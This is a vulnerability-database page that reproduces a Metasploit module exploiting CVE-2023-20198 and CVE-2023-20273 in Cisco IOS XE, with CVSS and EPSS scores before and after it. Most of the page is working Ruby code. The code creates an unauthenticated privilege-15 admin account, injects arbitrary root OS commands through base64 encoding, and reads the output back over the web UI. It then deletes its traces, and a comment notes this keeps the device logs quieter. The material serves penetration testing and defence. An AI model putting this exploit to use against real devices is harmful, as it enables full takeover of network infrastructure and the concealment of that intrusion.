10 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
9.2 High
AI Score
Confidence
High
0.853 High
EPSS
Percentile
98.6%
This module leverages both CVE-2023-20198 and CVE-2023-20273 against vulnerable instances of Cisco IOS XE devices which have the Web UI exposed. An attacker can execute arbitrary OS commands with root privileges. This module leverages CVE-2023-20198 to create a new admin user, then authenticating as this user, CVE-2023-20273 is leveraged for OS command injection. The output of the command is written to a file and read back via the webserver. Finally the output file is deleted and the admin user is removed. The vulnerable IOS XE versions are: 16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4, 16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2, 16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4, 16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9, 16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b, 16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b, 16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a, 16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1, 16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g, 16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s, 16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s, 16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5, 16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10, 17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v, 17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z, 17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7, 17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b, 17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a, 17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a, 17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3, 17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a, 17.11.99SW
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::CiscoIosXe
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Retry
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cisco IOX XE unauthenticated OS command execution',
'Description' => %q{
This module leverages both CVE-2023-20198 and CVE-2023-20273 against vulnerable instances of Cisco IOS XE
devices which have the Web UI exposed. An attacker can execute arbitrary OS commands with root privileges.
This module leverages CVE-2023-20198 to create a new admin user, then authenticating as this user,
CVE-2023-20273 is leveraged for OS command injection. The output of the command is written to a file and read
back via the webserver. Finally the output file is deleted and the admin user is removed.
The vulnerable IOS XE versions are:
16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4,
16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2,
16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4,
16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9,
16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b,
16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b,
16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a,
16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1,
16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g,
16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s,
16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s,
16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5,
16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10,
17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v,
17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z,
17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7,
17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b,
17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a,
17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a,
17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3,
17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,
17.11.99SW
},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7', # MSF module
],
'References' => [
['CVE', '2023-20198'],
['CVE', '2023-20273'],
# Vendor advisories.
['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z'],
['URL', 'https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/'],
# Vendor list of (205) vulnerable versions.
['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z/cvrf/cisco-sa-iosxe-webui-privesc-j22SaA4z_cvrf.xml'],
# Technical details on CVE-2023-20198.
['URL', 'https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-theory-crafting/'],
['URL', 'https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-deep-dive-and-poc/'],
# Technical details on CVE-2023-20273.
['URL', 'https://blog.leakix.net/2023/10/cisco-root-privesc/']
],
'DisclosureDate' => '2023-10-16',
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('CMD', [ true, 'The OS command to execute.', 'id']),
OptString.new('CISCO_ADMIN_USERNAME', [false, 'The username of an admin account. If not set, CVE-2023-20198 is leveraged to create a new admin account.']),
OptString.new('CISCO_ADMIN_PASSWORD', [false, 'The password of an admin account. If not set, CVE-2023-20198 is leveraged to create a new admin password.']),
OptInt.new('REMOVE_OUTPUT_TIMEOUT', [true, 'The maximum timeout (in seconds) to wait when trying to removing the commands output file.', 30])
]
)
end
def run
# If the user has supplied a username/password, we can use these creds to leverage CVE-2023-20273 and execute an OS
# command. If a username/password have not been supplied, we can leverage CVE-2023-20198 to create a new admin
# account, and then leverage CVE-2023-20273 to execute an OS command. This opens up the ability to leverage the
# auxiliary module for CVE-2023-20198 to create a new admin account once, then use those new admin creds in this
# module to execute multiple OS command without the need to create a new 'temporary' admin account for every
# invocation of this module (which will reduce the noise in the devices logs).
if !datastore['CISCO_ADMIN_USERNAME'].blank? && !datastore['CISCO_ADMIN_PASSWORD'].blank?
exececute_os_command(datastore['CISCO_ADMIN_USERNAME'], datastore['CISCO_ADMIN_PASSWORD'])
else
admin_username = Rex::Text.rand_text_alpha(8)
admin_password = Rex::Text.rand_text_alpha(8)
unless run_cli_command("username #{admin_username} privilege 15 secret #{admin_password}", Mode::GLOBAL_CONFIGURATION)
print_error('Failed to create admin user')
return
end
begin
vprint_status("Created privilege 15 user '#{admin_username}' with password '#{admin_password}'")
exececute_os_command(admin_username, admin_password)
ensure
vprint_status("Removing user '#{admin_username}'")
unless run_cli_command("no username #{admin_username}", Mode::GLOBAL_CONFIGURATION)
print_warning('Failed to remove user')
end
end
end
end
def exececute_os_command(admin_username, admin_password)
out_file = Rex::Text.rand_text_alpha(8)
cmd = "$(openssl enc -base64 -d <<< #{Base64.strict_encode64(datastore['CMD'])}) &> /var/www/#{out_file}"
unless run_os_command(cmd, admin_username, admin_password)
print_error('Failed to run command')
return
end
begin
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri('webui', out_file),
'headers' => {
'Authorization' => basic_auth(admin_username, admin_password)
}
)
unless res&.code == 200
print_error('Failed to get command output')
return
end
print_line(res.body)
ensure
vprint_status("Removing output file '/var/www/#{out_file}'")
# Deleting the output file can take more than one attempt.
success = retry_until_truthy(timeout: datastore['REMOVE_OUTPUT_TIMEOUT']) do
if run_os_command("rm /var/www/#{out_file}", admin_username, admin_password)
next true
end
vprint_status('Failed to delete output file, waiting and trying again...')
false
end
unless success
print_error("Failed to delete output file '/var/www/#{out_file}")
print_error(out_file)
end
end
end
end
10 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
9.2 High
AI Score
Confidence
High
0.853 High
EPSS
Percentile
98.6%